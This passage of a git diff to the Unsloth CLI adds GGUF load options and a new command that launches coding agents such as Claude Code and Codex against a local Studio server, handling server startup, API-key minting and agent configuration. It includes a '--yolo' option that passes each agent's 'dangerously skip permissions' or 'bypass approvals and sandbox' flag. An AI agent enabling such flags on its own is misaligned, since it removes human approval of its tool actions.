     max_seq_length: int = typer.Option(2048, "--max-seq-length"),
     load_in_4bit: bool = typer.Option(True, "--load-in-4bit/--no-load-in-4bit"),
+    tensor_parallel: bool = typer.Option(
+        False,
+        "--tensor-parallel/--no-tensor-parallel",
+        help = (
+            "Split a GGUF across GPUs by tensor (--split-mode tensor) instead "
+            "of by layer. Ignored for non-GGUF models."
+        ),
+    ),
+    llama_extra_args: Optional[List[str]] = typer.Option(
+        None,
+        "--llama-extra-arg",
+        help = (
+            "Extra llama-server arg for GGUF models. Repeat for multiple "
+            "tokens, e.g. --llama-extra-arg=--top-k --llama-extra-arg 20."
+        ),
+    ),
     think: bool = typer.Option(
         False,
         "--think/--no-think",
@@ -55,7 +71,13 @@ def inference(
 
     # A running Studio server keeps the model warm between runs, which is
     # exactly what a one-shot command wants.
-    load_opts = dict(hf_token = hf_token, max_seq_length = max_seq_length, load_in_4bit = load_in_4bit)
+    load_opts = dict(
+        hf_token = hf_token,
+        max_seq_length = max_seq_length,
+        load_in_4bit = load_in_4bit,
+        tensor_parallel = tensor_parallel,
+        llama_extra_args = llama_extra_args,
+    )
     chat_backend = None if no_server else connect_studio_server(model, **load_opts)
     if chat_backend is None:
         chat_backend = load_chat_backend(model, **load_opts)
diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
new file mode 100644
index 0000000000..1895125b11
--- /dev/null
+++ b/unsloth_cli/commands/start.py
@@ -0,0 +1,1575 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""`unsloth start` — launch a coding agent against a running Studio server."""
+
+import atexit
+import contextlib
+import json
+import os
+import re
+import shlex
+import shutil
+import signal
+import subprocess
+import sys
+import tempfile
+import time
+import urllib.error
+import urllib.request
+from pathlib import Path
+from typing import NamedTuple, NoReturn, Optional
+from urllib.parse import urlparse
+
+import click
+import typer
+
+from unsloth_cli._inference import (
+    _USER_AGENT,
+    _studio_token,
+    ensure_studio_backend_path,
+    find_studio_server,
+    is_loopback_url,
+    urlopen_no_redirect,
+    verify_studio_identity,
+)
+
+start_app = typer.Typer(
+    help = "Start a coding agent against a running Studio server.",
+    no_args_is_help = True,
+    context_settings = {"help_option_names": ["-h", "--help"]},
+)
+
+_CODEX_PROFILE = "unsloth_api"
+_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN"
+_HERMES_ENV_KEY = "UNSLOTH_API_KEY"
+_HERMES_PROVIDER = "unsloth"
+# Hermes refuses to initialize when the model window is under 64,000 tokens; its
+# error message points at the model.context_length / auxiliary.compression
+# overrides in config.yaml. write_hermes_config claims this value for smaller
+# windows and scales the compaction threshold back down to the real window.
+_HERMES_MIN_CONTEXT = 65536
+_PI_PROVIDER = "unsloth"
+_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]"
+_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True}
+_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN")
+
+# Shared by every agent command; only the config/env/command differ.
+_MODEL_OPTION = typer.Option(
+    None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio."
+)
+_KEY_OPTION = typer.Option(
+    None,
+    "--api-key",
+    envvar = "UNSLOTH_API_KEY",
+    help = (
+        "Studio API key. For a local Studio it is minted automatically and "
+        "remembered per server. For a remote server, pass one with --api-key "
+        "(or UNSLOTH_API_KEY); it is remembered for next time."
+    ),
+)
+_LAUNCH_OPTION = typer.Option(
+    True,
+    "--launch/--no-launch",
+    help = "--no-launch prints the env and command instead (remote shells, WSL).",
+)
+_SERVE_OPTION = typer.Option(
+    True,
+    "--serve/--no-serve",
+    help = (
+        "If no Studio server is running, auto-start one for --model and stop it when the "
+        "agent exits. --no-serve keeps the old behavior of erroring out."
+    ),
+)
+# Model-load knobs mirrored from `unsloth run`; only used when --model triggers a
+# load on the server. Server-startup flags (--host/--port/--cloudflare/...) do not
+# apply here because `unsloth start` attaches to an already-running server.
+_GGUF_VARIANT_OPTION = typer.Option(
+    None, "--gguf-variant", help = "GGUF quant variant to load (e.g. UD-Q4_K_XL)."
+)
+_CONTEXT_OPTION = typer.Option(
+    0,
+    "--max-seq-length",
+    "--context-length",
+    help = "Context length in tokens for the load (0 = model default).",
+)
+_LOAD_4BIT_OPTION = typer.Option(
+    True, "--load-in-4bit/--no-load-in-4bit", help = "Load hub models in 4-bit (ignored for GGUF)."
+)
+_TENSOR_PARALLEL_OPTION = typer.Option(
+    False,
+    "--tensor-parallel/--no-tensor-parallel",
+    help = "Split a GGUF across GPUs by tensor instead of by layer (multi-GPU only).",
+)
+# One normalized "run tools without prompting" switch. Each agent spells this
+# differently and it's easy to forget which is which, so accept every spelling and
+# route to the agent's own mechanism in _yolo_command_flags / the config writers.
+_YOLO_OPTION = typer.Option(
+    False,
+    "--yolo",
+    "--dangerously-skip-permissions",
+    "--dangerously-bypass-approvals-and-sandbox",
+    help = (
+        "Auto-approve all tool actions for this session; routed to the agent's own "
+        "flag/config. Any of the three spellings works for any agent."
+    ),
+)
+
+# Per-agent CLI flag for "run tools without prompting". opencode and openclaw have no
+# such flag (config only) and are handled in their config writers, so they are absent.
+_YOLO_COMMAND_FLAGS = {
+    "claude": ["--dangerously-skip-permissions"],
+    "codex": ["--dangerously-bypass-approvals-and-sandbox"],
+    "hermes": ["--yolo"],
+    # Pi never prompts per tool call; its only approval gate is project trust, so -a
+    # (trust project resources) is the closest "don't ask me" equivalent.
+    "pi": ["--approve"],
+}
+
+
+def _yolo_command_flags(agent: str, yolo: bool) -> list:
+    # .get so a config-based agent (or a typo) yields no flag instead of a KeyError.
+    return _YOLO_COMMAND_FLAGS.get(agent, []) if yolo else []
+
+
+class LoadOptions(NamedTuple):
+    """Model-load knobs forwarded to /api/inference/load when --model triggers a load."""
+
+    gguf_variant: Optional[str] = None
+    max_seq_length: int = 0
+    load_in_4bit: bool = True
+    tensor_parallel: bool = False
+
+
+def _split_repo_variant(model: str) -> tuple:
+    """Split ``org/name:QUANT`` into ``(repo, variant)`` -> ``("org/name", "QUANT")``.
+
+    ``unsloth run`` and llama.cpp accept ``--model org/name:QUANT`` as shorthand for
+    ``--model org/name --gguf-variant QUANT``. Mirror that here so a ``:variant`` suffix
+    resolves against the already-loaded ``org/name`` (which /v1/models lists without the
+    suffix) instead of trying to load a repo id containing ``:`` -- which Hugging Face
+    rejects, and which would evict a model another session is using. Local paths, Windows
+    drive letters, and ids without a ``:`` pass through unchanged.
+    """
+    s = (model or "").strip()
+    if not s or s.startswith(("/", "./", "../", "~")) or s == ".":
+        return s, None
+    if len(s) >= 2 and s[1] == ":" and s[0].isalpha():  # Windows drive, e.g. C:\models\x
+        return s, None
+    if ":" not in s:
+        return s, None
+    repo, _, variant = s.rpartition(":")
+    if not repo or not variant or "/" in variant:
+        return s, None
+    return repo, variant
+
+
+def _fail(message: str) -> NoReturn:
+    typer.echo(message, err = True)
+    raise typer.Exit(code = 1)
+
+
+def _http_error_detail(exc: urllib.error.HTTPError) -> str:
+    try:
+        body = json.loads(exc.read().decode())
+        return body.get("detail") or body["error"]["message"]
+    except Exception:
+        return str(exc)
+
+
+def _http_json(
+    method: str,
+    url: str,
+    token: str,
+    payload = None,
+    timeout = 30,
+    error = None,
+):
+    """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail."""
+    request = urllib.request.Request(
+        url,
+        data = None if payload is None else json.dumps(payload).encode(),
+        headers = {
+            "Authorization": f"Bearer {token}",
+            "Content-Type": "application/json",
+            "User-Agent": _USER_AGENT,
+        },
+        method = method,
+    )
+    try:
+        # No redirects: a 3xx would leak this bearer token to an unvetted base.
+        with urlopen_no_redirect(request, timeout = timeout) as response:
+            return json.loads(response.read().decode() or "{}")
+    except urllib.error.HTTPError as exc:
+        if error is None:
+            raise
+        _fail(f"{error}: {_http_error_detail(exc)}")
+    except (urllib.error.URLError, TimeoutError) as exc:
+        if error is None:
+            raise
+        _fail(f"{error}: {getattr(exc, 'reason', None) or exc}")
+
+
+# A server that WE auto-started (never one we merely found). Kept at module scope so
+# _run's finally and the atexit backstop can tear it down without threading a handle
+# through all six agent commands. Only one agent runs per process, so one slot is enough.
+_auto_served_server: Optional[subprocess.Popen] = None
+# Model download + load can be slow; give the auto-started server room before giving up.
+_SERVER_START_TIMEOUT_S = 900
+
+
+def _studio_healthy(base: str, timeout: float = 3.0) -> bool:
+    request = urllib.request.Request(f"{base}/api/health", headers = {"User-Agent": _USER_AGENT})
+    try:
+        with urllib.request.urlopen(request, timeout = timeout) as response:
+            return json.loads(response.read(65536).decode() or "{}").get("status") == "healthy"
+    except Exception:
+        return False
+
+
+def _log_tail(path: Path, lines: int = 20) -> str:
+    try:
+        return "\n".join(path.read_text(encoding = "utf-8", errors = "replace").splitlines()[-lines:])
+    except OSError:
+        return "(no server log)"
+
+
+def _shutdown_server(server: Optional[subprocess.Popen]) -> None:
+    # Idempotent teardown of a server WE started, plus its own children (llama-server,
+    # cloudflared). A no-op once the process is already gone.
+    if server is None or server.poll() is not None:
+        return
+    if os.name == "nt":
+        # terminate()/kill() reach only the parent `unsloth run`; taskkill /T walks the
+        # whole tree so the llama-server child doesn't keep the port and GPU (matches the
+        # taskkill /T /F pattern already used in unsloth/dataprep/synthetic.py).
+        try:
+            subprocess.run(
+                ["taskkill", "/PID", str(server.pid), "/T", "/F"],
+                capture_output = True,
+                timeout = 15,
+                check = False,
+            )
+            server.wait(timeout = 5)
+        except Exception:
+            with contextlib.suppress(Exception):
+                server.kill()
+        return
+    try:
+        os.killpg(os.getpgid(server.pid), signal.SIGTERM)
+    except OSError:
+        server.terminate()
+    try:
+        server.wait(timeout = 15)
+    except Exception:
+        try:
+            os.killpg(os.getpgid(server.pid), signal.SIGKILL)
+        except OSError:
+            server.kill()
+
+
+def _shutdown_auto_served() -> None:
+    global _auto_served_server
+    server, _auto_served_server = _auto_served_server, None
+    if server is not None and server.poll() is None:
+        typer.echo("Stopping the auto-started Studio server…")
+        _shutdown_server(server)
+
+
+def _start_studio_server(base: str, model: str, load: LoadOptions) -> subprocess.Popen:
+    """Spawn `unsloth run` for `model`, wait until it is fully ready, and return it."""
+    global _auto_served_server
+    unsloth = shutil.which("unsloth") or "unsloth"
+    parsed = urlparse(base)
+    # --disable-tools = passthrough mode (relay the agent's own tools); --no-cloudflare =
+    # loopback only, no tunnel. Mirrors .github/scripts/serve-unsloth-run.sh.
+    command = [
+        unsloth,
+        "run",
+        "-H",
+        parsed.hostname or "127.0.0.1",
+        "-p",
+        str(parsed.port or 8888),
+        "--disable-tools",
+        "--no-cloudflare",
+        "--model",
+        model,
+    ]
+    if load.gguf_variant:
+        command += ["--gguf-variant", load.gguf_variant]
+    if load.max_seq_length:
+        command += ["--context-length", str(load.max_seq_length)]
+    if not load.load_in_4bit:
+        command += ["--no-load-in-4bit"]
+    if load.tensor_parallel:
+        command += ["--tensor-parallel"]
+
+    log_path = Path(tempfile.gettempdir()) / f"unsloth-start-server-{os.getpid()}.log"
+    typer.echo(
+        f"No Studio server at {base}. Starting one for {model} (loading the model can take a while)…"
+    )
+    typer.echo(f"Server log: {log_path}")
+    # 0600: the `unsloth run` banner in this log carries the minted sk-unsloth- key, and
+    # the tempdir is world-traversable. Unlink first so a stale looser-mode file (pid
+    # reuse) can't survive with its old permissions.
+    log_path.unlink(missing_ok = True)
+    log = os.fdopen(os.open(log_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600), "wb")
+    # Own session/process group so a mid-session Ctrl+C (cancel a turn) doesn't reach the
+    # server; we tear it down explicitly when the agent exits.
+    kwargs: dict = {"stdout": log, "stderr": subprocess.STDOUT, "stdin": subprocess.DEVNULL}
+    if os.name == "nt":
+        kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP
+    else:
+        kwargs["start_new_session"] = True
+    try:
+        server = subprocess.Popen(command, **kwargs)
+    finally:
+        log.close()  # Popen dup'd the fd; drop the parent's copy
+    _auto_served_server = server
+    atexit.register(_shutdown_auto_served)
+
+    deadline = time.monotonic() + _SERVER_START_TIMEOUT_S
+    while time.monotonic() < deadline:
+        if server.poll() is not None:
+            tail = _log_tail(log_path)
+            _shutdown_auto_served()
+            _fail(f"The Studio server stopped before it was ready. Last log lines:\n{tail}")
+        # `unsloth run` prints the minted key only after the server is up AND the model is
+        # loaded, so it is the fully-ready signal (same contract serve-unsloth-run.sh uses).
+        if _studio_healthy(base) and "sk-unsloth-" in _log_tail(log_path, lines = 400):
+            typer.echo(f"Studio server ready at {base}.")
+            return server
+        time.sleep(2.0)
+    _shutdown_auto_served()
+    _fail(
+        f"The Studio server didn't become ready within {_SERVER_START_TIMEOUT_S}s. See {log_path}."
+    )
+
+
+def _effective_base(base: str) -> str:
+    # `unsloth run` binds to `parsed.port or 8888` and serves at the root, so normalize
+    # UNSLOTH_STUDIO_URL to plain scheme://host:port. A portless http://127.0.0.1 would
+    # otherwise launch on 8888 but poll port 80, and a path like /studio would poll
+    # /studio/api/health (404) -- either way hitting the startup timeout. IPv6 literals
+    # stay bracketed.
+    parsed = urlparse(base)
+    host = parsed.hostname or "127.0.0.1"
+    if ":" in host:  # bare IPv6 literal (urlparse strips the brackets)
+        host = f"[{host}]"
+    return f"{parsed.scheme or 'http'}://{host}:{parsed.port or 8888}"
+
+
+def _require_studio(
+    model: Optional[str] = None,
+    load: Optional[LoadOptions] = None,
+    *,
+    serve: bool = False,
+    launch: bool = True,
+) -> tuple:
+    """Return (base, server). server is a Popen only when WE auto-started it."""
+    base = find_studio_server()
+    if base is not None:
+        return base, None
+    expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888").rstrip("/")
+    # Auto-start a local server only for an interactive launch with a model to serve, and
+    # only for a plain-HTTP loopback target: never stand in for an explicit remote
+    # UNSLOTH_STUDIO_URL, and never for an https:// one -- `unsloth run` serves plain
+    # HTTP, so the health poll against https would spin until the startup timeout.
+    if (
+        serve
+        and launch
+        and model
+        and is_loopback_url(expected)
+        and urlparse(expected).scheme == "http"
+    ):
+        # Normalize to the port unsloth run actually binds, so the health poll and the
+        # returned base hit the same server we launch (not a portless :80).
+        expected = _effective_base(expected)
+        return expected, _start_studio_server(expected, model, load or LoadOptions())
+    model_hint = "" if model else " Pass --model to have it start one for you, or"
+    _fail(
+        f"No running Studio server found at {expected}.{model_hint} start one with "
+        "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server."
+    )
+
+
+def _key_cache_path() -> Path:
+    ensure_studio_backend_path()
+    from utils.paths import auth_root
+    return auth_root() / "agent_api_key.json"
+
+
+def _read_cache(cache: Path) -> dict:
+    try:
+        data = json.loads(cache.read_text(encoding = "utf-8"))
+    except Exception:
+        return {}
+    return data if isinstance(data, dict) else {}
+
+
+def _server_buckets(servers: dict, base: str) -> dict:
+    # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a
+    # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake).
+    entry = servers.get(base) if isinstance(servers, dict) else None
+    if isinstance(entry, list):
+        return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]}
+    if not isinstance(entry, dict):
+        return {"saved": [], "minted": []}
+
+    def _strs(name: str) -> list:
+        value = entry.get(name)
+        return [k for k in value if isinstance(k, str)] if isinstance(value, list) else []
+
+    return {"saved": _strs("saved"), "minted": _strs("minted")}
+
+
+def _cached_keys(cache: Path, base: str, source: str) -> list:
+    # Keys are scoped per server. `source` splits user-supplied --api-key keys
+    # ("saved", trusted for that base) from auto-minted ones ("minted", replayed
+    # only after the identity check). Legacy unscoped caches are ignored.
+    return _server_buckets(_read_cache(cache).get("servers", {}), base)[source]
+
+
+def _write_private_json(path: Path, data: dict) -> None:
+    # O_CREAT with 0o600 so a file holding an API key is never world-readable,
+    # even briefly (existing files keep whatever perms the user set).
+    path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700)
+    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
+    with os.fdopen(fd, "w") as handle:
+        handle.write(json.dumps(data, indent = 2) + "\n")
+
+
+def _read_json_object(path: Path) -> Optional[dict]:
+    # {} when missing, None when it can't be parsed as an object (so the caller
+    # leaves a user-managed file untouched rather than clobbering it).
+    if not path.exists():
+        return {}
+    try:
+        data = json.loads(path.read_text(encoding = "utf-8"))
+    except (ValueError, OSError):
+        return None
+    return data if isinstance(data, dict) else None
+
+
+def _subdict(parent: dict, key: str) -> dict:
+    child = parent.get(key)
+    if not isinstance(child, dict):
+        child = parent[key] = {}
+    return child
+
+
+def _remember_key(cache: Path, base: str, key: str, source: str) -> None:
+    data = _read_cache(cache)
+    servers = data.get("servers")
+    if not isinstance(servers, dict):
+        servers = data["servers"] = {}
+    buckets = _server_buckets(servers, base)
+    other = "minted" if source == "saved" else "saved"
+    buckets[source] = ([key] + [k for k in buckets[source] if k != key])[:8]
+    buckets[other] = [k for k in buckets[other] if k != key]  # a key has one provenance
+    new_entry = {"saved": buckets["saved"], "minted": buckets["minted"]}
+    if servers.get(base) == new_entry:
+        return
+    servers[base] = new_entry
+    # Collapse legacy unscoped fields.
+    data.pop("keys", None)
+    data.pop("key", None)
+    try:
+        _write_private_json(cache, data)
+    except OSError:
+        pass  # worst case the next launch mints another key
+
+
+def _key_accepted(base: str, key: str) -> bool:
+    # Only a genuine auth rejection (401/403) means "this key is bad -- skip it and try
+    # the next cached key or mint a fresh one". A 5xx or a network blip is a server-side
+    # outage, not a bad key: fail with a clean message (never a traceback) instead of
+    # silently discarding a working key and minting extras against a struggling server.
+    try:
+        _http_json("GET", f"{base}/v1/models", key)
+        return True
+    except urllib.error.HTTPError as exc:
+        if exc.code in (401, 403):
+            return False
+        _fail(
+            f"Studio server error while checking an API key ({exc.code}). "
+            "The server may be starting up or unhealthy; try again shortly."
+        )
+    except (urllib.error.URLError, TimeoutError) as exc:
+        _fail(
+            "Couldn't reach the Studio server while checking an API key: "
+            f"{getattr(exc, 'reason', None) or exc}"
+        )
+
+
+def _agent_api_key(
+    base: str,
+    explicit: Optional[str],
+    *,
+    auto_started: bool = False,
+) -> str:
+    cache = _key_cache_path()
+    if explicit:
+        if not auto_started or _key_accepted(base, explicit):
+            _remember_key(cache, base, explicit, "saved")
+            return explicit
+        # The server was auto-started for this run, so an exported
+        # UNSLOTH_API_KEY meant for some other server must not fail the
+        # launch: the loopback mint path below is guaranteed to work.
+        # (An explicit key that the fresh server accepts, e.g. one persisted
+        # in this Studio home's auth db, is still honored above.)
+
+    # Replay a key the user saved for *this exact* server first (scoped per base,
+    # so it only goes back there -- including a remote/SSH-tunnelled Studio whose
+    # secret the local handshake can't match). Skip ones the server rejects.
+    for key in _cached_keys(cache, base, "saved"):
+        if _key_accepted(base, key):
+            _remember_key(cache, base, key, "saved")
+            return key
+
+    # Beyond here we auto-mint or replay an auto-minted key. find_studio_server()
+    # trusts a base after only a health check, so both are limited to a loopback
+    # server we can cryptographically confirm is ours.
+    if not is_loopback_url(base):
+        _fail(
+            f"No saved API key for {base} and automatic minting only runs against "
+            "a local Studio. Create an API key in Studio → Settings → API and "
+            "pass it with --api-key (it is remembered per server), or set "
+            "UNSLOTH_API_KEY."
+        )
+    if not verify_studio_identity(base):
+        _fail(
+            f"Couldn't verify that {base} is your Studio (it may be running as a "
+            "different OS user, or another process took the port). Create an API "
+            "key in Studio → Settings → API and pass it with --api-key, or set "
+            "UNSLOTH_API_KEY."
+        )
+
+    # Identity verified: replay a previously auto-minted key, else mint a new one.
+    for key in _cached_keys(cache, base, "minted"):
+        if _key_accepted(base, key):
+            _remember_key(cache, base, key, "minted")
+            return key
+
+    # Self-issue a JWT (signed with the local secret) and mint a key.
+    token = _studio_token()
+    if token is None:
+        _fail(
+            "Couldn't authenticate with the Studio server automatically. Create "
+            "an API key in Studio → Settings → API and pass it with --api-key, "
+            "or set UNSLOTH_API_KEY."
+        )
+    key = _http_json(
+        "POST",
+        f"{base}/api/auth/api-keys",
+        token,
+        {"name": "Coding agents (unsloth start)"},
+        error = "Couldn't create an API key",
+    )["key"]
+    _remember_key(cache, base, key, "minted")
+    return key
+
+
+def _loaded_models(base: str, key: str) -> list:
+    return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", [])
+
+
+def _resolve_model(
+    base: str,
+    key: str,
+    requested: Optional[str],
+    load: LoadOptions = LoadOptions(),
+) -> dict:
+    models = _loaded_models(base, key)
+    # /v1/models reports the model id but not the active GGUF variant or runtime load
+    # settings, so an id match alone can hide the wrong quant (Q8_0 serving while the
+    # user asked for UD-Q4_K_XL). When the user passed any explicit load knob, defer to
+    # /api/inference/load: the server's already-loaded dedup answers "already_loaded"
+    # without reloading when the variant AND settings match, so a second session running
+    # the same command still attaches without evicting the first.
+    load_has_overrides = bool(
+        load.gguf_variant or load.max_seq_length or not load.load_in_4bit or load.tensor_parallel
+    )
+    match = (
+        None
+        if requested and load_has_overrides
+        else next((m for m in models if m["id"] == requested), None)
+    )
+    if requested and match is None:
+        typer.echo(
+            f"Ensuring {requested} is loaded with the requested settings…"
+            if load_has_overrides
+            else f"Loading {requested} on the Studio server (this can take a while)…"
+        )
+        # Mirror `unsloth run`'s load knobs; keep the default payload as just
+        # model_path so a bare `--model` load is unchanged.
+        payload = {"model_path": requested}
+        if load.gguf_variant:
+            payload["gguf_variant"] = load.gguf_variant
+        if load.max_seq_length:
+            payload["max_seq_length"] = load.max_seq_length
+        if not load.load_in_4bit:
+            payload["load_in_4bit"] = False
+        if load.tensor_parallel:
+            payload["tensor_parallel"] = True
+        loaded = _http_json(
+            "POST",
+            f"{base}/api/inference/load",
+            key,
+            payload,
+            timeout = 3600,
+            error = "Model load failed",
+        )
+        # Studio registers the model under a canonical id (resolved identifier,
+        # casing) that /v1/models echoes but which may differ from the path we
+        # passed; match on the id the load reports so we don't silently fall
+        # through to models[0] and connect to a different loaded model.
+        wanted = {requested}
+        if isinstance(loaded, dict):
+            wanted |= {loaded.get("model"), loaded.get("display_name")} - {None}
+        models = _loaded_models(base, key)
+        match = next((m for m in models if m["id"] in wanted), None)
+    if match is not None:
+        return match
+    if requested:
+        # We asked Studio to load it and it didn't surface in /v1/models; don't
+        # silently hand back an unrelated loaded model.
+        _fail(
+            f"Studio didn't report '{requested}' as loaded. Double-check the model "
+            "id, or load it from the model dropdown in the UI."
+        )
+    if not models:
+        _fail(
+            "No model is loaded in Studio. Load one from the model dropdown in "
+            "the UI, or pass --model <hf-id-or-path> to load it from here."
+        )
+    return models[0]
+
+
+def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None:
+    # Codex always streams, and Studio only streams /v1/responses from llama-server.
+    try:
+        status = _http_json("GET", f"{base}/api/inference/status", key)
+    except urllib.error.HTTPError as exc:
+        if exc.code == 404:
+            return  # older server without the endpoint; don't block the launch
+        raise
+    if status.get("is_gguf"):
+        return
+    hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF"
+    _fail(
+        f"Codex needs a GGUF model served by llama-server, but {model_id} is on "
+        f"the transformers backend. Try: unsloth start codex --model {hint}"
+    )
+
+
+_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections"
+# Session overlay applied via `claude --settings`; suppresses the attribution header
+# for THIS run only (no ~/.claude write) so llama.cpp KV-cache reuse is preserved. It
+# reinforces the CLAUDE_CODE_ATTRIBUTION_HEADER env var on builds that read the setting
+# only from settings.json.
+_CLAUDE_SETTINGS_OVERLAY = '{"env":{"CLAUDE_CODE_ATTRIBUTION_HEADER":"0"}}'
+
+
+def _claude_version() -> Optional[tuple]:
+    # None = no local `claude` (a --no-launch printout for another machine; assume a
+    # current build). An unparseable version is treated as too old for the new flags.
+    executable = shutil.which("claude")
+    if executable is None:
+        return None
+    try:
+        result = subprocess.run(
+            [executable, "--version"], capture_output = True, text = True, timeout = 10
+        )
+        # Pull the X.Y.Z out of the output rather than assuming it is the first token.
+        # claude prints it first today ("2.1.98 (Claude Code)"), but a format change
+        # (e.g. "claude version 2.1.98") shouldn't silently drop the optimization flags;
+        # no match falls through to "too old", same as an unparseable version.
+        match = re.search(r"(\d+)\.(\d+)\.(\d+)", result.stdout)
+        return tuple(int(part) for part in match.groups()) if match else (0,)
+    except Exception:
+        return (0,)
+
+
+def _claude_flags() -> list:
+    # Both knobs preserve llama.cpp KV-cache reuse: --exclude-dynamic-system-prompt-sections
+    # moves per-session context out of the system prompt, and --settings suppresses the
+    # attribution header for this session only (no persistent ~/.claude write; the env var
+    # sets it too). Claude Code < 2.1.98 aborts on unknown flags, so gate on the version;
+    # no local binary means a printout for another machine, so assume a current build.
+    version = _claude_version()
+    if version is not None and version < (2, 1, 98):
+        return []
+    return [_DYNAMIC_SECTIONS_FLAG, "--settings", _CLAUDE_SETTINGS_OVERLAY]
+
+
+def _merge_codex_config(existing: str, base: str) -> str:
+    chunks = re.split(r"(?m)^(?=\[)", existing)  # preamble, then one chunk per table
+    if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]):
+        if chunks[0] and not chunks[0].endswith("\n"):
+            chunks[0] += "\n"
+        chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n'
+    # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables.
+    stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".")
+    text = "".join(c for c in chunks if not c.startswith(stale))
+    if not text.endswith("\n"):
+        text += "\n"
+    if not text.endswith("\n\n"):
+        text += "\n"
+    return text + (
+        f"{_PROVIDER_HEADER}\n"
+        'name = "Unsloth Studio"\n'
+        f"base_url = {json.dumps(base + '/v1')}\n"
+        f'env_key = "{_CODEX_ENV_KEY}"\n'
+        'wire_api = "responses"\n'
+        "requires_openai_auth = false\n"
+    )
+
+
+def write_codex_config(base: str, model: dict, home: Path) -> None:
+    home.mkdir(parents = True, exist_ok = True)
+
+    config = home / "config.toml"
+    existing = config.read_text(encoding = "utf-8") if config.exists() else ""
+    merged = _merge_codex_config(existing, base)
+    if merged != existing:
+        config.write_text(merged, encoding = "utf-8")
+        typer.echo(f"Updated {config}")
+
+    # oss_provider here too: codex --oss picks the provider from it, and the
+    # profile layer must beat a user-set value (e.g. "ollama") in config.toml.
+    profile_text = (
+        f'oss_provider = "{_CODEX_PROFILE}"\n'
+        f'model_provider = "{_CODEX_PROFILE}"\n'
+        f"model = {json.dumps(model['id'])}\n"
+    )
+    window = model.get("context_length") or model.get("max_context_length")
+    if window:
+        profile_text += f"model_context_window = {int(window)}\n"
+    profile = home / f"{_CODEX_PROFILE}.config.toml"
+    if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text:
+        profile.write_text(profile_text, encoding = "utf-8")
+        typer.echo(f"Updated {profile}")
+
+
+def _wsl_windows_executable(command: list) -> Optional[str]:
+    if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"):
+        return None
+    executable = shutil.which(command[0])
+    if executable and executable.startswith("/mnt/"):
+        return executable
+    return None
+
+
+def _looks_like_path(value: str) -> bool:
+    # A var only wants the WSLENV /p flag if its value is a filesystem path: an
+    # absolute POSIX path (/...), a UNC path (\\...), or a drive-qualified Windows
+    # path (C:...). Scalar knobs (e.g. a numeric context window) must pass through
+    # untranslated, so they get no flag.
+    return bool(value) and (value.startswith(("/", "\\")) or (len(value) >= 2 and value[1] == ":"))
+
+
+def _wsl_bridge_names(env: dict, unset_env: tuple) -> tuple:
+    # Build the WSLENV share list for a Windows shim reached from WSL. Path-valued
+    # vars get /p so WSLENV translates them to the Windows path the /mnt shim can
+    # actually open; a cleared var carries no value to translate.
+    names = [name + ("/p" if _looks_like_path(value) else "") for name, value in env.items()]
+    names.extend(unset_env)
+    return tuple(dict.fromkeys(names))
+
+
+def _merge_wslenv(current: str, names: tuple) -> str:
+    # Index WSLENV entries by bare var name, preserving first-seen order. The vars we
+    # bridge are applied last so our entry wins: a user's pre-existing unflagged "HOME"
+    # is upgraded to "HOME/p" (rather than left as-is), since WSLENV ignores a duplicate
+    # name and a bare entry would leave the path untranslated for a Windows shim.
+    ordered = []
+    by_name = {}
+    for entry in (*current.split(":"), *names):
+        if not entry:
+            continue
+        base = entry.split("/", 1)[0]
+        if base not in by_name:
+            ordered.append(base)
+        by_name[base] = entry
+    return ":".join(by_name[base] for base in ordered)
+
+
+def _powershell_quote(arg: str) -> str:
+    # PowerShell reads single-quoted strings literally (an embedded ' is doubled), so
+    # JSON args such as `--settings {"env":...}` survive intact. list2cmdline's
+    # backslash-escaped double quotes are cmd.exe syntax and PowerShell mis-parses them.
+    if arg and re.fullmatch(r"[A-Za-z0-9_./:=+-]+", arg):
+        return arg
+    return "'" + arg.replace("'", "''") + "'"
+
+
+def _print_env(
+    env: dict,
+    command: list,
+    unset_env: tuple = (),
+    wsl_env_bridge: tuple = (),
+) -> None:
+    if os.name == "nt":
+        for name in unset_env:
+            typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue")
+        for name, value in env.items():
+            # PowerShell: ` is the escape char, and $ triggers expansion inside "".
+            escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$")
+            typer.echo(f'$env:{name} = "{escaped}"')
+        typer.echo(" ".join(_powershell_quote(arg) for arg in command))
+        return
+    for name in unset_env:
+        typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}")
+    for name, value in env.items():
+        typer.echo(f"export {name}={shlex.quote(value)}")
+    if wsl_env_bridge:
+        typer.echo(
+            f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}"
+        )
+    # The final line is a SELF-CONTAINED one-liner (inline env, VAR=... cmd) rather than a
+    # bare command. People copy just the last line, and a bare `codex`/`claude` would then
